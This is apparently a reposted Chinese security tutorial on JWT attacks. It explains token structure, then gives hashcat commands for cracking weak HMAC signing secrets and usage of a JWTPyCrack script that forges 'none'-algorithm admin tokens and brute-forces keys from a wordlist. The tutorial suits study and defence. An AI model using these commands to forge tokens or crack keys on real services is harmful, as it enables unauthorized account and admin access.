Json web token(JWT)攻防
阅读原文时间:2023年07月09日阅读:2

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

JWT介绍

JSON Web Tokens,是一种基于JSON的、用于在网络上声明某种主张的令牌(token)。JWT通常由三部分组成: 头信息(header), 消息体(payload)和签名(signature)。它是一种用于双方之间传递安全信息的表述性声明规范。JWT作为一个开放的标准(RFC 7519),定义了一种简洁的、自包含的方法,从而使通信双方实现以JSON对象的形式安全的传递信息。

“令牌使用私人秘密或公钥/私钥进行签名。例如,服务器可以生成具有“以管理员身份登录”声明的令牌并将其提供给客户端。然后客户端可以使用该令牌来证明它以管理员身份登录。令牌可以由一方的私钥(通常是服务器的)签名,以便该方随后可以验证令牌是合法的。”

JWT通常由三部分组成: 头信息(header), 消息体(payload)和签名(signature)
一段完整的jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.hWgU00w-Sq8jKHr7MD5DSUCMznj5GtHVARKNFgljc9A
  • 头信息(header)
    头信息指定了该JWT使用的签名算法

    {
    "alg": "HS256",
    "typ": "JWT"
    }

  • 消息体(payload)
    消息体包含了JWT的意图和内容

    {
    "sub": "1234567890",
    "name": "John Doe",
    "iat": 1516239022
    }

  • 签名(signature)
    未签名的令牌由base64url编码的头信息和消息体拼接而成(使用"."分隔),签名则通过私有的key计算而成

    HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),your-256-bit-secret)

客户端通常将JWT通过HTTP的Authorization header发送给服务端,服务端使用自己保存的key验签、验证签名以判断该JWT是否可信,如果服务端保存的key被攻击者得知,那么攻击者就可以伪造任意jwt权限用户登录了。

JWT的攻击方式

如上所述,如果服务端保存的key是弱密钥,或者有的开发人员经常将其保留为空白、弱或默认,那么攻击者就可以破解该密码,伪造任意jwt权限用户登录了。

  • 破解工具:
    hashcat

  • 使用方法:

    echo -n 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.hWgU00w-Sq8jKHr7MD5DSUCMznj5GtHVARKNFgljc9A' > jwt.hash

    $ hashcat -h |grep JWT

    $ hashcat -m 16500 jwt.hash /root/password.txt


得到了秘钥p@ssw0rd,验证成功

我们可以在jwt.io随意签发jwt了。

JWTPyCrack

  • WT 弱口令 Key 爆破以及生成 NONE 加密的无 Key 的 JWTString。

环境
Python >= 3

卸载所有的jwt包

pip3 uninstall pyjwt pip3 uninstall jwt

安装 jwt 包

pip3 install pyjwt==1.6.4 --user -i https://pypi.douban.com/simple

使用
该脚本能实现两种攻击方式:禁用哈希重新生成JWT字符串攻击、批量爆破弱密钥

禁用哈希
python jwtcrack.py -m generate -s {“admin”:“True”}

批量爆破弱密钥
python3 jwtcrack.py -m blasting -s eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.keH6T3x1z7mmhKL1T3r9sQdAxxdzB6siemGMr_6ZOwU --kf /root/jwtpwd.txt

注:安全研究人员收集的泄露key